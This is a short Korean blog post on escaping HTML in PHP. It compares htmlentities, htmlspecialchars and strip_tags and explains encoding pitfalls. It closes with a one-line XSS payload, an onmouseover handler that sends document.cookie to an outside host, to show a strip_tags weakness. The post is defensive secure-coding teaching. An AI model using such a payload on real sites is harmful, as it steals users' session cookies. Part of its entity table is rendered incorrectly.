Post

(PHP) HTML tag escape

HTML Tag escape

1
2
htmlentities( string $string, ENT\_QUOTES, 'UTF-8');

htmlentities()는 HTML Character Entity에 존재하는 모든 문자를 엔티티로 변환하기 때문에 의도하지 않은 문자까지 이스케이프 될 수 있다.( e.g., ! → ! ) 그래서 사이트에서 EUC-KR을 사용하는 경우 htmlentities()를 사용하면 글자가 깨지기 때문에 htmlspecialchars()를 사용해야 하지만 UTF-8 인코딩을 사용하는 경우 글자가 깨지지 않기 때문에 htmlentities()의 세번째 인자를 UTF-8로 지정해서 사용하는 편이 더 안전하다.

* $flag(quote style)에는 ENT_QUOTES를, $encoding(charset)에는 Content-Type 헤더에 있는 charset을 지정해 사용하는 편이 좋다. 변환되는 문자 목록.htmlspecialchars() 의 경우 아래 목록에 있는 것만 변환한다. 단, 작은 따옴표는 ENT\_QUOTES옵션을 주어야 변환된다. 기본 옵션은 ENT\_COMPAT으로 큰 따옴표만 변환한다.

1
2
3
4
5
6
&     &
"   ▶  "
'   ▶  '
<   ▶  &lt;
>   ▶  &gt;

strip_tags()

아예 태그를 제거한다. 그러나 태그 형식이 불완전할 경우 ( >가 없다거나 ) 제대로 동작하지 않을 가능성이 있다. 제거하지 않을 태그를 옵션으로 지정할 수 있다.그러나 제거하지 않는 태그를 하나라도 지정하는 경우 이 태그의 attribute를 전혀 건드리지 않기 때문에 이를 이용한 취약점이 발생할 수 있다.

1
2
<p onmouseover=\"window.location='https://umbum.dev/?cookie='+document.cookie;\">

This post is licensed under CC BY 4.0 by the author.